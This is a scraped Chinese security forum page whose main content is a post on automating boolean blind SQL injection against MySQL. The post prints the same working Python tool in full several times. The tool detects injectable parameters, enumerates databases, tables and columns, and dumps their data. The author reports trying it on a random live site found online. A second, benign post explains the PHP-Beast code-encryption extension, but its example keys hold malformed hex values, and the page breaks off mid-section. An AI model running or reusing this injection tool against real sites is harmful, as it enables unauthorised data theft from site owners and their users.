payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()


 

python编程实现自动化注入之布尔盲注

lawliet 发表了文章 • 1 个评论 • 359 次浏览 • 2018-06-06 21:42 • 来自相关话题

自己编写的一个自动化盲注脚本,目的主要是为了提高自己的python代码能力和sql注入能力,脚本主要使用optparse库去解析命令行参数与用户交互,同时会用到二分有序查找算法去猜解数据库的每个字符
布尔盲注

布尔盲注这种注入手法主要用于页面没有回显位置而且没有报错信息的情况下,这时可以构造逻辑判断,通过页面返回的不同去判断逻辑的真假从而猜取数据库的字符

所以可以通过python脚本循环猜解出数据库中的内容,二分法猜解字符会比一次次循环累加要快很多,主要的思路就是先用requests请求一个正常的页面,当然这个页面是存在sql注入的,然后通过requests请求加上单双引号的url所返回的页面,通过和正常页面对比来判断为数字型注入还是字符型注入,判断的方法url参数后加单引号与双引号均报错,则为数字型注入
url参数后加单引号报错双引号不报错,为字符型注入且参数外为单引号
url参数后加单引号不报错双引号报错,为字符型注入且参数外为双引号接着就是根据页面的不同判断数据库的个数和每个数据库名的长度,然后通过二分法指定范围(0-126)判断出来每个数据库的名字,然后采取相同的方法判断出来指定数据库下的表名,指定数据库表名下的字段名以及数据库里的数据

为了更方便的理解使用,我用python写了一个盲注二分法算法模型
模型1:def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid<num:
low=mid+1
else:
high=mid-1
return (low+high+1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result




模型2:def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid>num:
high=mid-1
else:
low=mid+1
return (low+high-1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result




有了模型,有相当于有了一个轮子,通过模型可以更容易地编写出自己的盲注脚本,贴出我编写的盲注脚本#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
num=0
while 1:
payload="%s and (select count(*) from information_schema.schemata)=%s-- "%(url,str(num))
#print payload
html=requests.get(url=payload).content
#print html
if html==basehtml:
return num
else:
num=num+1
def getdbs(url,basehtml,num):
for n in range(num):
length=0
while 1:
payload="%s and (select length(schema_name) from information_schema.schemata limit %s,1)=%s-- "%(url,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
s=""
#print length
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def gettablenum(url,basehtml,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.tables where table_schema=0x%s)=%s-- "%(url,dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def gettables(url,basehtml,num,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(table_name) from information_schema.tables where table_schema=0x%s limit %s,1)=%s-- "%(url,dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getcolumnnum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.columns where table_name=0x%s and table_schema=0x%s)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(column_name) from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getdatanum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from %s.%s)=%s-- "%(url,dbname,tablename,str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(%s) from %s.%s limit %s,1)=%s-- "%(url,columnname,dbname,tablename,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()使用方法,自己使用optparse库将脚本参数设置成了类似于sqlmap的参数,下面是该脚本使用方法





随便测试网上一个注入点来测试写的工具是否可以使用,可以看到成功注入出来了数据库,当然经过测试也能注入出表字段和数据库内容,这个工具只是初步完成了,当然还有很多的不足,这些都需要自己不断的去完善







  查看全部
自己编写的一个自动化盲注脚本,目的主要是为了提高自己的python代码能力和sql注入能力,脚本主要使用optparse库去解析命令行参数与用户交互,同时会用到二分有序查找算法去猜解数据库的每个字符
布尔盲注

布尔盲注这种注入手法主要用于页面没有回显位置而且没有报错信息的情况下,这时可以构造逻辑判断,通过页面返回的不同去判断逻辑的真假从而猜取数据库的字符

所以可以通过python脚本循环猜解出数据库中的内容,二分法猜解字符会比一次次循环累加要快很多,主要的思路就是先用requests请求一个正常的页面,当然这个页面是存在sql注入的,然后通过requests请求加上单双引号的url所返回的页面,通过和正常页面对比来判断为数字型注入还是字符型注入,判断的方法
url参数后加单引号与双引号均报错,则为数字型注入
url参数后加单引号报错双引号不报错,为字符型注入且参数外为单引号
url参数后加单引号不报错双引号报错,为字符型注入且参数外为双引号
接着就是根据页面的不同判断数据库的个数和每个数据库名的长度,然后通过二分法指定范围(0-126)判断出来每个数据库的名字,然后采取相同的方法判断出来指定数据库下的表名,指定数据库表名下的字段名以及数据库里的数据

为了更方便的理解使用,我用python写了一个盲注二分法算法模型
模型1:
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid<num:
low=mid+1
else:
high=mid-1
return (low+high+1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

1.png

模型2:
def binary_search(num):
low=0
high=126
while low<=high:
print "search zone:(%d-%d)"%(low,high)
mid=(low+high)/2
if mid>num:
high=mid-1
else:
low=mid+1
return (low+high-1)/2
num=input("please input a number(1~126):")
result=binary_search(num)
print result

1.png

有了模型,有相当于有了一个轮子,通过模型可以更容易地编写出自己的盲注脚本,贴出我编写的盲注脚本
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
num=0
while 1:
payload="%s and (select count(*) from information_schema.schemata)=%s-- "%(url,str(num))
#print payload
html=requests.get(url=payload).content
#print html
if html==basehtml:
return num
else:
num=num+1
def getdbs(url,basehtml,num):
for n in range(num):
length=0
while 1:
payload="%s and (select length(schema_name) from information_schema.schemata limit %s,1)=%s-- "%(url,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
s=""
#print length
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def gettablenum(url,basehtml,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.tables where table_schema=0x%s)=%s-- "%(url,dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def gettables(url,basehtml,num,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(table_name) from information_schema.tables where table_schema=0x%s limit %s,1)=%s-- "%(url,dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getcolumnnum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from information_schema.columns where table_name=0x%s and table_schema=0x%s)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def getcolumns(url,basehtml,num,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(column_name) from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1)=%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def getdatanum(url,basehtml,tablename,dbname):
num=0
while 1:
payload="%s and (select count(*) from %s.%s)=%s-- "%(url,dbname,tablename,str(num))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
return num
else:
num=num+1
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
for n in range(num):
length=0
while 1:
payload="%s and (select length(%s) from %s.%s limit %s,1)=%s-- "%(url,columnname,dbname,tablename,str(n),str(length))
#print payload
html=requests.get(url=payload).content
if html==basehtml:
#print length
s=""
for c in range(1,length+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
break
else:
length=length+1
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()
使用方法,自己使用optparse库将脚本参数设置成了类似于sqlmap的参数,下面是该脚本使用方法

1.png

随便测试网上一个注入点来测试写的工具是否可以使用,可以看到成功注入出来了数据库,当然经过测试也能注入出表字段和数据库内容,这个工具只是初步完成了,当然还有很多的不足,这些都需要自己不断的去完善

1.png



 

PHP-Beast 加密你的PHP源代码

kakaxi 发表了文章 • 0 个评论 • 152 次浏览 • 2018-06-06 11:28 • 来自相关话题

前言
首先说说为什么要用PHP-Beast?
有时候我们的代码会放到代理商上, 所以很有可能代码被盗取,或者我们写了一个商业系统而且不希望代码开源,所以这时候就需要加密我们的代码。
另外PHP-Beast是完全免费和开源的, 当其不能完成满足你的需求时, 可以修改其代码而满足你的要。
编译安装如下
注意:如果你需要使用,首先修改key。可以参考下文

Linux编译安装:

$ wget https://github.com/liexusong/php-beast/archive/master.zip
$ unzip master.zip
$ cd php-beast-master
$ phpize
$ ./configure
$ sudo make && make install

编译好之后修改php.ini配置文件, 加入配置项: extension=beast.so, 重启php-fpm 。

配置项: beast.cache_size = size
beast.log_file = "path_to_log"
beast.log_user = "user"
beast.enable = On

beast.log_level支持参数:
 1. DEBUG
 2. NOTICE
 3. ERROR
支持的模块有:
 1. AES
 2. DES
 3. Base64
通过测试环境:
Nginx + Fastcgi + (PHP-5.2.x ~ PHP-7.1.x)

怎么加密你的项目

加密方案1:
安装完 php-beast 后可以使用 tools 目录下的 encode_files.php 来加密你的项目。使用 encode_files.php 之前先修改 tools 目录下的 configure.ini 文件,如下:; source path
src_path = ""
; destination path
dst_path = ""
; expire time
expire = ""
; encrypt type (selection: DES, AES, BASE64)
encrypt_type = "DES"


src_path 是要加密项目的路径,dst_path 是保存加密后项目的路径,expire 是设置项目可使用的时间 (expire 的格式是:YYYY-mm-dd HH:ii:ss)。encrypt_type是加密的方式,选择项有:DES、AES、BASE64。 修改完 configure.ini 文件后就可以使用命令 php encode_files.php 开始加密项目。
 
加密方案2:
使用beast_encode_file()函数加密文件,函数原型如下:
beast_encode_file(string $input_file, string $output_file, int expire_timestamp, int encrypt_type)。
1.    $input_file: 要加密的文件
2.    $output_file: 输出的加密文件路径
3.    $expire_timestamp: 文件过期时间戳
4.    $encrypt_type: 加密使用的算法(支持:BEAST_ENCRYPT_TYPE_DES、BEAST_ENCRYPT_TYPE_AES)

制定自己的php-beast

php-beast 有多个地方可以定制的,以下一一列出:
 
1.    使用 header.c 文件可以修改 php-beast 加密后的文件头结构,这样网上的解密软件就不能认识我们的加密文件,就不能进行解密,增加加密的安全性。
 
2.    php-beast 提供只能在指定的机器上运行的功能。要使用此功能可以在 networkcards.c 文件添加能够运行机器的网卡号,例如:char *allow_networkcards = {
"fa:16:3e:08:88:01",
NULL,
};


这样设置之后,php-beast 扩展就只能在 fa:16:3e:08:88:01 这台机器上运行。另外要注意的是,由于有些机器网卡名可能不一样,所以如果你的网卡名不是 eth0 的话,可以在 php.ini 中添加配置项: beast.networkcard = "xxx" 其中 xxx 就是你的网卡名,也可以配置多张网卡,如:beast.networkcard = "eth0,eth1,eth2"。
 
3.    使用 php-beast 时最好不要使用默认的加密key,因为扩展是开源的,如果使用默认加密key的话,很容易被人发现。所以最好编译的时候修改加密的key,aes模块 可以在 aes_algo_handler.c 文件修改,而 des模块 可以在 des_algo_handler.c 文件修改。
 
函数列表 & Debug
 
开启debug模式:
可以在configure时加入 --enable-beast-debug 选项来开启debug模式。开启debug模式后需要在php.ini配置文件中加入配置项:beast.debug_path 和 beast.debug_mode。beast.debug_mode 用于指定是否使用debug模式,而 beast.debug_path 用于输出解密后的php脚本源码。这样就可以在 beast.debug_path 目录中看到php-beast解密后的源代码,可以方便知道扩展解密是否正确。
函数列表:
1.    beast_encode_file(): 用于加密一个文件
2.    beast_avail_cache(): 获取可以缓存大小
3.    beast_support_filesize(): 获取beast支持的最大可加密文件大小
4.    beast_file_expire(): 获取一个文件的过期时间
5.    beast_clean_cache(): 清空beast的所有缓存(如果有文件更新, 可以使用此函数清空缓存)
 
修改默认加密的key
1,修改加密后的文件头结构:打开header.c文件,找到以下代码:
char encrypt_file_header_sign = {
    0xe8, 0x16, 0xa4, 0x0c,
    0xf2, 0xb2, 0x60, 0xee
};
int encrypt_file_header_length = sizeof(encrypt_file_header_sign);
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0xe8, 0x16, 0xa4, 0x0c,
0xf2, 0xb2, 0x60, 0xee
 
2,修改aes模块加密key:
打开php-beast-master/aes_algo_handler.c文件,找到以下代码:
static uint8_t key = {
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x2b, 0x7e, 0x61, 0x16, 0x28, 0xae, 0xd2, 0xa6,
0xab, 0xi7, 0x10, 0x88, 0x09, 0xcf, 0xef, 0xxc,
 
3,修改des模块加密key:
打开php-beast-master/des_algo_handler.c文件,找到以下代码:
static char key[8] = {
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
};
自定义修改以下代码(其中的数字的范围为:0-8,字母的范围为:a-f):
0x21, 0x1f, 0xe1, 0x1f,
0xy1, 0x9e, 0x01, 0x0e,
 
4,修改base64模块加密key:
打开php-beast-master/base64_algo_handler.c文件,自定义修改以下代码:
static const short base64_reverse_table[256] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};
 
php-beast自定义加密模块
一,首先创建一个.c的文件。例如我们要编写一个使用base64加密的模块,可以创建一个名叫base64_algo_handler.c的文件。然后在文件添加如下代码:
#include "beast_module.h"
int base64_encrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
int base64_decrypt_handler(char inbuf, int len, char outbuf, int outlen)
{
    ...
}
void base64_free_handler(void *ptr)
{
    ...
}
struct beast_ops base64_handler_ops = {
    .name = "base64-algo",
    .encrypt = base64_encrypt_handler,
    .decrypt = base64_decrypt_handler,
    .free = base64_free_handler,
};
模块必须实现3个方法,分别是:encrypt、decrypt、free方法。
encrypt方法负责把inbuf字符串加密,然后通过outbuf输出给beast。
decrypt方法负责把加密数据inbuf解密,然后通过outbuf输出给beast。
free方法负责释放encrypt和decrypt方法生成的数据
二,写好我们的加密模块后,需要在global_algo_modules.c添加我们模块的信息。代码如下:
#include <stdlib.h>
#include "beast_module.h"
extern struct beast_ops des_handler_ops;
extern struct beast_ops base64_handler_ops;
struct beast_ops *ops_handler_list = {
    &des_handler_ops,
    &base64_handler_ops, / 这里是我们的模块信息 /
    NULL,
};
三,修改config.m4文件,修改倒数第二行,如下代码:
PHP_NEW_EXTENSION(beast, beast.c des_algo_handler.c beast_mm.c spinlock.c cache.c beast_log.c global_algo_modules.c base64_algo_handler.c , $ext_shared)
base64_algo_handler.c的代码是我们添加的,这里加入的是我们模块的文件名。
现在大功告成了,可以编译试下。如果要使用我们刚编写的加密算法来加密php文件,可以修改php.ini文件的配置项,如下:
``
beast.encrypt_handler = "base64-algo"`
名字就是我们模块的name。



作者:极客小寨
链接:https://www.jianshu.com/p/7bacac6effe5
來源:简书
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。


  查看全部
前言
首先说说为什么要用PHP-Beast?
有时候我们的代码会放到代理商上, 所以很有可能代码被盗取,或者我们写了一个商业系统而且不希望代码开源,所以这时候就需要加密我们的代码。
另外PHP-Beast是完全免费和开源的, 当其不能完成满足你的需求时, 可以修改其代码而满足你的要。
编译安装如下
注意:如果你需要使用,首先修改key。可以参考下文

Linux编译安装:


$ wget https://github.com/liexusong/php-beast/archive/master.zip
$ unzip master.zip
$ cd php-beast-master
$ phpize
$ ./configure
$ sudo make && make install


编译好之后修改php.ini配置文件, 加入配置项: extension=beast.so, 重启php-fpm 。

配置项:
 beast.cache_size = size
beast.log_file = "path_to_log"
beast.log_user = "user"
beast.enable = On


beast.log_level支持参数:
 1. DEBUG
 2. NOTICE
 3. ERROR
支持的模块有:
 1. AES
 2. DES
 3. Base64
通过测试环境:
Nginx + Fastcgi + (PHP-5.2.x ~ PHP-7.1.x)


怎么加密你的项目


加密方案1:
